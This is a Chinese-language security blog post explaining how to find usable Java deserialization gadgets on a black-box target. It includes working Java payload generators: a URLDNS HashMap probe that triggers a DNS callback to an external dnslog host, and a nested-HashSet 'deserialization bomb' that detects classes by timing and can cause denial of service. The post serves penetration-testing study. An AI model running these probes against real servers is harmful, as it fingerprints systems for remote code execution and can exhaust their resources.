Java反序列化Gadget探测
前言
之前面试的时候,有问过我:”在黑盒测试中,找到一个反序列化过程的点,你该怎么找可用的Gadget“,当时不太清楚有这种方式,回答所有gadget都爆破一下……今天来看一下如何用URLDNS链探测可用Gadget
背景
虽然将所有的gadget都测试一遍的方法也是可行的,但是单纯的盲测工作量会非常巨大,而且也无法确定由于什么原因导致的无法RCE。
原因包括但不限于以下这些:
- 无导入gadget依赖的jar包
- suid不一致
- 导入jar包为不存在漏洞的版本
- gadget使用的class类进入了黑名单
构造Java类探测反序列化gadget
如果构造一个Java类来探测反序列化Gadget,那么我们就需要考虑它的通用性。因此这个类最好是JDK中自带的类,并且这个
解决serialVersionUID问题
我们之前有了解过serialVersionUID
,**Java的序列化机制是通过判断运行时类的serialVersionUID来验证版本一致性的,**在Java原生反序列化时会检测serialVersionUID
。当我们在本地构造的序列化Class和服务器上Class SUID不同时,就算服务器上真实存在这个类,我们也无法成功反序列化。
对于serialVersionUID
的检测在该方法中ObjectStreamClass#initNonProxy
,检测代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| void initNonProxy(ObjectStreamClass model, Class<?> cl, ClassNotFoundException resolveEx, ObjectStreamClass superDesc) throws InvalidClassException{ suid = Long.valueOf(model.getSerialVersionUID()); serializable = model.serializable; externalizable = model.externalizable; ......
if (cl != null) { localDesc = lookup(cl, true); ...... if (serializable == localDesc.serializable && !cl.isArray() && suid.longValue() != localDesc.getSerialVersionUID()) { throw new InvalidClassException(localDesc.name, "local class incompatible: " + "stream classdesc serialVersionUID = " + suid + ", local class serialVersionUID = " + localDesc.getSerialVersionUID()); } ...... } ...... }
|
对于SUID的检测中,有三个条件:继承Serializable
接口的情况是否一致、不是数组、SUID不相同。想绕过SUID的检测,只需要让前面的两个条件不成立即可。
假设在我们想要探测A类是否存在时,有以下两种方法可用:
- 通过
javassist
动态生成一个A类,但是不实现Serializable
接口。当服务器上的A类存在,并且继承Serializable
接口时,那么第一个条件serializable == localDesc.serializable
就不成立,即可绕过SUID检测;当服务器上A类存在,但是并没有继承Serializable
接口时,那么两个类的SUID都为0,那么第三个条件就不符合。
- 直接序列化A类数组
A[].class
,第二个条件直接不符合,就不需要考虑是否都继承或不继承Serializable
接口和SUID是否相同
方法一
下面是通过javassist来动态生成Class的方法
1 2 3 4 5 6 7
| public static Class makeClass(String clazzName) throws Exception{ ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass(clazzName); Class clazz = ctClass.toClass(); ctClass.defrost(); return clazz; }
|
方法二
对于第二个条件,可以直接序列化A[].class
进行绕过
一次的失败的构造
在看c0n1y师傅的文章时,在构造探测类时使用《包裹大量脏数据绕过WAF的思路》来构造,使用的是LinkedList
。
但在测试过程中发现,在反序列化LinkedList
第一个元素失败时,并不会导致反序列化的流程停止。
1 2 3
| List<Object> list = new LinkedList<Object>(); list.add(makeClass("TargetClass")); list.add(new URLDNS.getObject("http://xxx.dnslog.cn"));
|
我们可以看到ObjectInputStream#readObject
的方法内,有try catch的包裹,因此ClassNotFoundException
并不能阻断反序列化ObjectInputStream#readObject
的内部流程,但是可以阻断其他可序列化类的readObject
流程。
就是说我们需要让ClassNotFoundException
异常来阻断source到sink之间的通路

通过DNSLOG探测Class
最后发现,可以在HashMap#readObject
处进行阻断。
在反序列化key-value时,如果在value反序列化时,若没有该类,抛出ClassNotFound
异常时,那么就会退出for循环,就不能到达putVal
方法内,也就无法触发DNS请求。反之,就可以到达putVal
方法从而触发DNS请求,达到探测gadget的目的
1 2 3 4 5 6 7 8 9 10 11 12 13
| private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { ...... for (int i=0; i<mappings; i++) { K key = (K) s.readObject(); V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } }
|
最后学习一下怎么构造,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| package com;
import javassist.ClassPool; import javassist.CtClass;
import java.io.*; import java.lang.reflect.Field; import java.net.MalformedURLException; import java.net.URL; import java.util.ArrayList; import java.util.HashMap; import java.util.LinkedList;
public class urldns {
public static void serialize(Object object)throws Exception{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(object); }
public static Object deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); Object o = ois.readObject(); return o; }
public static Object makeClass(String className) throws Exception { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass(className); Class aClass = ctClass.toClass(); ctClass.defrost(); return aClass; }
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); }
public static Object getObject(String commond) throws Exception { String[] cmds = commond.split("\\|");
if (cmds.length != 2){ System.out.println("<url> | <class name>"); return null; } String url = cmds[0]; String className = cmds[1];
HashMap hashMap = new HashMap(); URL u = new URL(url); setFieldValue(u,"hashCode",1); hashMap.put(u,makeClass(className));
setFieldValue(u,"hashCode",-1);
return hashMap; }
public static void main(String[] args) throws Exception {
deserialize(); } }
|
反序列化炸弹探测gadget
在有些情况下,目标可能并不出网或者没有配置DNS服务,就无法通过DNS来探测
c0ny1师傅的文章中写到了这种:通过构造特殊的多层签到HashSet,导致服务器反序列化的时间复杂度提升,消耗服务器部分性能到达延时的作用来探测Class。(上次见类似的方式还是在SQL的延时注入中)
实际这个脚本是没太看明白的,不知道怎么构造的反序列化炸弹(师傅们大学好好学数据结构什么的,要不然时间复杂度什么的都搞不明白),直接借来c0ny1师傅的脚本看一下吧
由于每个服务器的性能不一样,要想让它们延时时间相同,就需要调整反序列化炸弹的深度。所以在使用该gadget时,要先测试出深度,一般最好调整到比正常请求慢10秒以上。经过我的实战一般这个深度都在25到28之间,切记不要设置太大否则造成DOS。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| @Authors({ Authors.C0NY1 }) public class FindClassByBomb extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject ( final String command ) throws Exception { int depth; String className = null;
if(command.contains("|")){ String[] x = command.split("\\|"); className = x[0]; depth = Integer.valueOf(x[1]); }else{ className = command; depth = 28; }
Class findClazz = makeClass(className); Set<Object> root = new HashSet<Object>(); Set<Object> s1 = root; Set<Object> s2 = new HashSet<Object>(); for (int i = 0; i < depth; i++) { Set<Object> t1 = new HashSet<Object>(); Set<Object> t2 = new HashSet<Object>(); t1.add(findClazz);
s1.add(t1); s1.add(t2);
s2.add(t1); s2.add(t2); s1 = t1; s2 = t2; } return root; }
|
当探测类存在时,就会达到延时的效果,如果所探测的类不存在,那么就不会延时。
CheckList
如果在实战中使用的话,那么就需要有class的checklist备用。如果维护好一个不错的CheckList,可以判断很多东西:
工具的话可以看c0ny1师傅的ysoserial-for-woodpecker:https://github.com/woodpecker-framework/ysoserial-for-woodpecker
- OracleJdk or OpenJdk
- JRE or JDK
- 中间件的类型(辅助构造回显与内存马)
- 使用的Web框架
- BCEL ClassLoader是否存在
- 判断Java版本
- ……
参考文章
构造java探测class反序列化gadget:https://mp.weixin.qq.com/s/KncxkSIZ7HVXZ0iNAX8xPA?poc_token=HOvegWijiXqVnyqFXJ3yo0NnScMLyq8qAGJ0_0HR